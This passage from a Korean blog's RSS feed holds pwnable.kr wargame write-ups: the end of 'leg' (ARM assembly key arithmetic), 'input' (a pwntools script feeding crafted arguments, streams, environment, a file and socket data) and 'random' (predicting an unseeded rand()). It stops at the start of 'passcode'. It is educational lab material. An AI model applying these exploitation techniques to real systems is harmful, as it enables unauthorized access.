   0x00008cfc &amp;lt;+12&amp;gt;:	add	r6, pc, #1
   0x00008d00 &amp;lt;+16&amp;gt;:	bx	r6
   0x00008d04 &amp;lt;+20&amp;gt;:	mov	r3, pc
   0x00008d06 &amp;lt;+22&amp;gt;:	adds	r3, #4
   0x00008d08 &amp;lt;+24&amp;gt;:	push	{r3}
   0x00008d0a &amp;lt;+26&amp;gt;:	pop	{pc}
   0x00008d0c &amp;lt;+28&amp;gt;:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 &amp;lt;+32&amp;gt;:	mov	r0, r3
   0x00008d14 &amp;lt;+36&amp;gt;:	sub	sp, r11, #0
   0x00008d18 &amp;lt;+40&amp;gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c &amp;lt;+44&amp;gt;:	bx	lr&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다음은 &lt;b&gt;key2&lt;/b&gt; 함수입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;윗 부분에 &lt;b&gt;r6&lt;/b&gt; 를 다루는 부분이 있어&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다소 헷갈렸는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여기서 &lt;b&gt;r0&lt;/b&gt; 는&amp;nbsp;&lt;b&gt;0x00008d04&lt;/b&gt; 때의 &lt;b&gt;pc 값&lt;/b&gt; + 4 이며&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;r6&lt;/b&gt; 값과는&amp;nbsp;별 연관이 없습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 &lt;b&gt;key2()&lt;/b&gt; 는 &lt;b&gt;0x00008d08 + 4&lt;/b&gt; 인&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;0x00008d0c&lt;/b&gt; 가&amp;nbsp;되겠군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain;highlight:[4,5]&quot;&gt;Dump of assembler code for function key3:
   0x00008d20 &amp;lt;+0&amp;gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 &amp;lt;+4&amp;gt;:	add	r11, sp, #0
   0x00008d28 &amp;lt;+8&amp;gt;:	mov	r3, lr
   0x00008d2c &amp;lt;+12&amp;gt;:	mov	r0, r3
   0x00008d30 &amp;lt;+16&amp;gt;:	sub	sp, r11, #0
   0x00008d34 &amp;lt;+20&amp;gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 &amp;lt;+24&amp;gt;:	bx	lr&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;마지막 &lt;b&gt;key3&lt;/b&gt; 함수입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;lr&lt;/b&gt; 값이 &lt;b&gt;r0&lt;/b&gt; 가 되는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ARM 어셈블리에서 &lt;b&gt;lr&lt;/b&gt; 레지스터는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;함수의 리턴 주소를 가리키므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;key3&lt;/b&gt; 함수 &lt;b&gt;call 주소&lt;/b&gt;의 바로 뒷 주소가 되겠군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 &lt;b&gt;key3()&lt;/b&gt; 는&amp;nbsp;&lt;b&gt;0x00008d80&lt;/b&gt; 가 되겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;&amp;gt;&amp;gt;&amp;gt; 0x00008d0c + 0x00008ce4 + 0x00008d80
108400&lt;/pre&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;모든 key 값을 합하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;제출하니 성공적으로 플래그를 얻을 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/68</guid>
      <comments>https://posix.tistory.com/68#entry68comment</comments>
      <pubDate>Fri, 8 Feb 2019 03:45:56 +0900</pubDate>
    </item>
    <item>
      <title>Input 문제풀이</title>
      <link>https://posix.tistory.com/67</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 7번 문제.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;설명대로 &lt;b&gt;입출력 제어&lt;/b&gt;와 관련된&amp;nbsp;문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;arpa/inet.h&amp;gt;

int main(int argc, char* argv[], char* envp[]){
        printf(&quot;Welcome to pwnable.kr\n&quot;);
        printf(&quot;Let's see if you know how to give input to program\n&quot;);
        printf(&quot;Just give me correct inputs then you will get the flag :)\n&quot;);

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],&quot;\x00&quot;)) return 0;
        if(strcmp(argv['B'],&quot;\x20\x0a\x0d&quot;)) return 0;
        printf(&quot;Stage 1 clear!\n&quot;);

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, &quot;\x00\x0a\x00\xff&quot;, 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, &quot;\x00\x0a\x02\xff&quot;, 4)) return 0;
        printf(&quot;Stage 2 clear!\n&quot;);

        // env
        if(strcmp(&quot;\xca\xfe\xba\xbe&quot;, getenv(&quot;\xde\xad\xbe\xef&quot;))) return 0;
        printf(&quot;Stage 3 clear!\n&quot;);

        // file
        FILE* fp = fopen(&quot;\x0a&quot;, &quot;r&quot;);
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, &quot;\x00\x00\x00\x00&quot;, 4) ) return 0;
        fclose(fp);
        printf(&quot;Stage 4 clear!\n&quot;);

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf(&quot;socket error, tell admin\n&quot;);
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&amp;amp;saddr, sizeof(saddr)) &amp;lt; 0){
                printf(&quot;bind error, use another port\n&quot;);
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&amp;amp;caddr, (socklen_t*)&amp;amp;c);
        if(cd &amp;lt; 0){
                printf(&quot;accept error, tell admin\n&quot;);
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, &quot;\xde\xad\xbe\xef&quot;, 4)) return 0;
        printf(&quot;Stage 5 clear!\n&quot;);

        // here's your flag
        system(&quot;/bin/cat flag&quot;);
        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스를 살펴보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;인자 전달, 표준 입력, 환경변수 전달, 파일 입력, 소켓 통신&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;5개의 스테이지로 나누어져&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;조건을 만족하지 못하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;system&lt;/b&gt; 문에 도달하지 못하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;즉시 &lt;b&gt;return&lt;/b&gt; 하도록 되어 있습니다..&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;import subprocess

arg = [ str(i) for i in range(1,100) ]
arg[ord('A') - 1] = &quot;\x00&quot;
arg[ord('B') - 1] = &quot;\x20\x0a\x0d&quot;

proc = subprocess.Popen(['./input'] + arg, stdout = subprocess.PIPE)

print(proc.pid, proc.wait())
print(proc.communicate())&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;파이썬의 &lt;b&gt;subprocess&lt;/b&gt; 모듈로&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;시도해 보았지만&amp;nbsp;실패했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;Traceback (most recent call last):
  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;
  File &quot;/usr/lib/python2.7/subprocess.py&quot;, line 711, in __init__
    errread, errwrite)
  File &quot;/usr/lib/python2.7/subprocess.py&quot;, line 1343, in _execute_child
    raise child_exception
TypeError: execv() arg 2 must contain only strings&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;subprocess&lt;/b&gt; 의 &lt;b&gt;Popen&lt;/b&gt; 내부에서 사용되는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;execv()&lt;/b&gt; 에 &lt;b&gt;null 바이트&lt;/b&gt;를 넣으면 오류를 뿜기 때문에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다른 방법을 써야만 했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;class pwnlib.tubes.process.process(argv=None, shell=False, executable=None, cwd=None, env=None, stdin=-1, stdout=&amp;lt;pwnlib.tubes.process.PTY object&amp;gt;, stderr=-2, close_fds=True, preexec_fn=&amp;lt;function &amp;lt;lambda&amp;gt;&amp;gt;, raw=True, aslr=None, setuid=None, where='local', display=None, alarm=None, *args, **kwargs)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;탐색결과&amp;nbsp;&lt;b&gt;pwntools&lt;/b&gt; 의 &lt;b&gt;process&lt;/b&gt; 모듈을 발견했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;위 모듈은 널 바이트가 포함된 인자도 정상적으로 받아들입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:py&quot;&gt;&lt;p&gt;#!/usr/bin/env python

from pwn import *

argv = [str(i) for i in range(100)]
argv[ord('A')] = '\x00'
argv[ord('B')] = '\x20\x0a\x0d'
argv[ord('C')] = '9999'

env = {'\xde\xad\xbe\xef' : '\xca\xfe\xba\xbe'}

with open('\x0a', 'wb') as f:
	f.write('\x00\x00\x00\x00')

with open('stderr', 'wb') as f:
	f.write('\x00\x0a\x02\xff')

proc = process(executable = '/home/input2/input', argv = argv, stderr = open('stderr'), env = env)

proc.stdin.write('\x00\x0a\x00\xff')

with remote('localhost', argv[ord('C')]) as sd:
	sd.send('\xde\xad\xbe\xef')
	
proc.interactive()
&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/pre&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;pwntools&lt;/b&gt; 를 이용하여 작성한 파이썬 스크립트입니다,&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;argv&lt;/b&gt; 변수에 &lt;b&gt;argv&lt;/b&gt; 인자를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;env&lt;/b&gt; 변수에 환경번수를 저장하여 전달하였고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;pwntools&lt;/b&gt; 의 &lt;b&gt;remote&lt;/b&gt; 모듈을 이용해 데이터를 전달했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그러던 중, &lt;b&gt;process&lt;/b&gt; 에서 전달하는 인자를 수정해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;argv[0]&lt;/b&gt; 을 임의대로 변경 가능하다는 것을 깨달았습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;argv[0]&lt;/b&gt; 은 실행 파일 경로로 정해져 있다고 생각했는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;절대적인 정의는 아니었나 봅니다.&lt;/p&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre class=&quot;brush:py&quot;&gt;with open('stderr', 'wb') as f:
	f.write('\x00\x0a\x02\xff')

proc = process(executable = '/home/input2/input', argv = argv, stderr = open('stderr'), env = env)
&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스를 확인해보면 &lt;b&gt;stage 2&lt;/b&gt;에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;stderr&lt;/b&gt; 로 전달해야할 데이터를 파일로 저장한 다음&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;open&lt;/b&gt; 을 통해 &lt;b&gt;파일 디스크립터&lt;/b&gt;를 별도로 열어&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;인자로 전달하는 것을 확인할 수 있는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:py&quot;&gt;proc.stderr.write('\x00\x0a\x02\xff')&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;본래는 위처럼&amp;nbsp;다이렉트로 전달하려고 했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;/p&gt;&lt;div style=&quot;color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 13px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;&quot;&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;pre class=&quot;brush:py&quot;&gt;&amp;gt;&amp;gt;&amp;gt; proc.stderr
&amp;lt;open file '&amp;lt;fdopen&amp;gt;', mode 'r+' at 0x7f96357c5b70&amp;gt;
&amp;gt;&amp;gt;&amp;gt; proc.stderr.write('data')
&amp;gt;&amp;gt;&amp;gt; proc.stderr.read()
Traceback (most recent call last):
  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;
IOError: [Errno 11] Resource temporarily unavailable
&lt;/pre&gt;&lt;div&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그런데 접근&amp;nbsp;모드가 &lt;b&gt;r+&lt;/b&gt; 인 탓인지&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;stderr 에 직접적인 입력은 불가능 했습니다.&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:bash&quot;&gt;input2@ubuntu:/tmp/posix$ ln -s /home/input2/flag flag&lt;/pre&gt;&lt;div&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;홈 폴더에는 파일을 저장할 권한이 없으므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;저는&amp;nbsp;&lt;b&gt;/tmp&lt;/b&gt;&amp;nbsp;내에 별도로 디렉토리를 만들어&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;스크립트를 저장해 주었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;또한 system 문의 flag 가 &lt;b&gt;상대경로&lt;/b&gt;로 되어 있기에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;심볼링 링크&lt;/b&gt;를 만들어 연결해 주었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;input2@ubuntu:/tmp/posix$ ls
?  flag  solve.py  stderr
input2@ubuntu:/tmp/posix$ ls -b
\n  flag  solve.py  stderr&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;스크립트를 통해 &lt;b&gt;\x0a&lt;/b&gt; 라는 이름으로 파일을 생성하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;파일명이 정상적으로 표시되지 않는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;ls&amp;nbsp;-b&lt;/b&gt; 옵션을 통해 확인할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;input2@ubuntu:/tmp/posix$ ./solve.py
[+] Starting local process '/home/input2/input': Done
[+] Opening connection to localhost on port 9999: Done
[*] Closed connection to localhost port 9999
[*] Switching to interactive mode
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)
[*] Process '/home/input2/input' stopped with exit code 0
[*] Got EOF while reading in interactive&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그 취득에 성공했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/67</guid>
      <comments>https://posix.tistory.com/67#entry67comment</comments>
      <pubDate>Thu, 7 Feb 2019 13:29:18 +0900</pubDate>
    </item>
    <item>
      <title>Random 문제풀이</title>
      <link>https://posix.tistory.com/66</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;C 언어의 랜덤함수에 관한 문제입니다..&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf(&quot;%d&quot;, &amp;amp;key);

        if( (key ^ random) == 0xdeadbeef ){
                printf(&quot;Good!\n&quot;);
                system(&quot;/bin/cat flag&quot;);
                return 0;
        }

        printf(&quot;Wrong, maybe you should try 2^32 cases.\n&quot;);
        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;rand() 로 인해 생성된 random 값이&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력한 값과 &lt;b&gt;xor 연산&lt;/b&gt;했을 때에&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;0xdeadbeef&lt;/b&gt; 가 나와야 한다는 조건인데&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;결국은 random 값만 알게 되면 끝나는 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;srand(time(NULL));&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;C언어에서 rand 함수를 사용하기 전에는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;흔히 &lt;b&gt;srand&lt;/b&gt;에 &lt;b&gt;타임스탬프 값&lt;/b&gt;을 사용하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;시드&lt;/b&gt;를 주어야 할 필요가 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그렇지 않으면 항상 &lt;b&gt;정수 1&lt;/b&gt;&amp;nbsp;을 시드로 사용하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;똑같은 값을 출력하게 되지요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1108780/why-do-i-always-get-the-same-sequence-of-random-numbers-with-rand&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;상세 설명&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;Dump of assembler code for function main:
   0x00000000004005f4 &amp;lt;+0&amp;gt;:     push   %rbp
   0x00000000004005f5 &amp;lt;+1&amp;gt;:     mov    %rsp,%rbp
   0x00000000004005f8 &amp;lt;+4&amp;gt;:     sub    $0x10,%rsp
   0x00000000004005fc &amp;lt;+8&amp;gt;:     mov    $0x0,%eax
   0x0000000000400601 &amp;lt;+13&amp;gt;:    callq  0x400500 &amp;lt;rand@plt&amp;gt;
   0x0000000000400606 &amp;lt;+18&amp;gt;:    mov    %eax,-0x4(%rbp)
   0x0000000000400609 &amp;lt;+21&amp;gt;:    movl   $0x0,-0x8(%rbp)
   0x0000000000400610 &amp;lt;+28&amp;gt;:    mov    $0x400760,%eax
   0x0000000000400615 &amp;lt;+33&amp;gt;:    lea    -0x8(%rbp),%rdx
   0x0000000000400619 &amp;lt;+37&amp;gt;:    mov    %rdx,%rsi
   0x000000000040061c &amp;lt;+40&amp;gt;:    mov    %rax,%rdi
   0x000000000040061f &amp;lt;+43&amp;gt;:    mov    $0x0,%eax
   0x0000000000400624 &amp;lt;+48&amp;gt;:    callq  0x4004f0 &amp;lt;__isoc99_scanf@plt&amp;gt;
   0x0000000000400629 &amp;lt;+53&amp;gt;:    mov    -0x8(%rbp),%eax
   0x000000000040062c &amp;lt;+56&amp;gt;:    xor    -0x4(%rbp),%eax
   0x000000000040062f &amp;lt;+59&amp;gt;:    cmp    $0xdeadbeef,%eax
   0x0000000000400634 &amp;lt;+64&amp;gt;:    jne    0x400656 &amp;lt;main+98&amp;gt;
   0x0000000000400636 &amp;lt;+66&amp;gt;:    mov    $0x400763,%edi
   0x000000000040063b &amp;lt;+71&amp;gt;:    callq  0x4004c0 &amp;lt;puts@plt&amp;gt;
   0x0000000000400640 &amp;lt;+76&amp;gt;:    mov    $0x400769,%edi
   0x0000000000400645 &amp;lt;+81&amp;gt;:    mov    $0x0,%eax
   0x000000000040064a &amp;lt;+86&amp;gt;:    callq  0x4004d0 &amp;lt;system@plt&amp;gt;
   0x000000000040064f &amp;lt;+91&amp;gt;:    mov    $0x0,%eax
   0x0000000000400654 &amp;lt;+96&amp;gt;:    jmp    0x400665 &amp;lt;main+113&amp;gt;
   0x0000000000400656 &amp;lt;+98&amp;gt;:    mov    $0x400778,%edi
   0x000000000040065b &amp;lt;+103&amp;gt;:   callq  0x4004c0 &amp;lt;puts@plt&amp;gt;
   0x0000000000400660 &amp;lt;+108&amp;gt;:   mov    $0x0,%eax
   0x0000000000400665 &amp;lt;+113&amp;gt;:   leaveq
   0x0000000000400666 &amp;lt;+114&amp;gt;:   retq&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 gdb을 사용해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;생성되는 값을 확인 한 후에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;계산해 사용하면 끝입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;시드가 주어지지 않았기에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;항상 똑같은 값&lt;/b&gt;만 나오니까요&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;(gdb) x/wa $rbp-4
0x7ffd534b93bc: 0x6b8b4567&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;&amp;gt;&amp;gt;&amp;gt; 0x6b8b4567 ^ 0xdeadbeef
3039230856&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;생성된 random 값&lt;/b&gt;을 찾아내&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;xor 연산&lt;/b&gt;을 수행하는 것으로 &lt;b&gt;key 값&lt;/b&gt;을 얻을 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/66</guid>
      <comments>https://posix.tistory.com/66#entry66comment</comments>
      <pubDate>Wed, 6 Feb 2019 17:53:54 +0900</pubDate>
    </item>
    <item>
      <title>Passcode 문제풀이</title>
      <link>https://posix.tistory.com/65</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
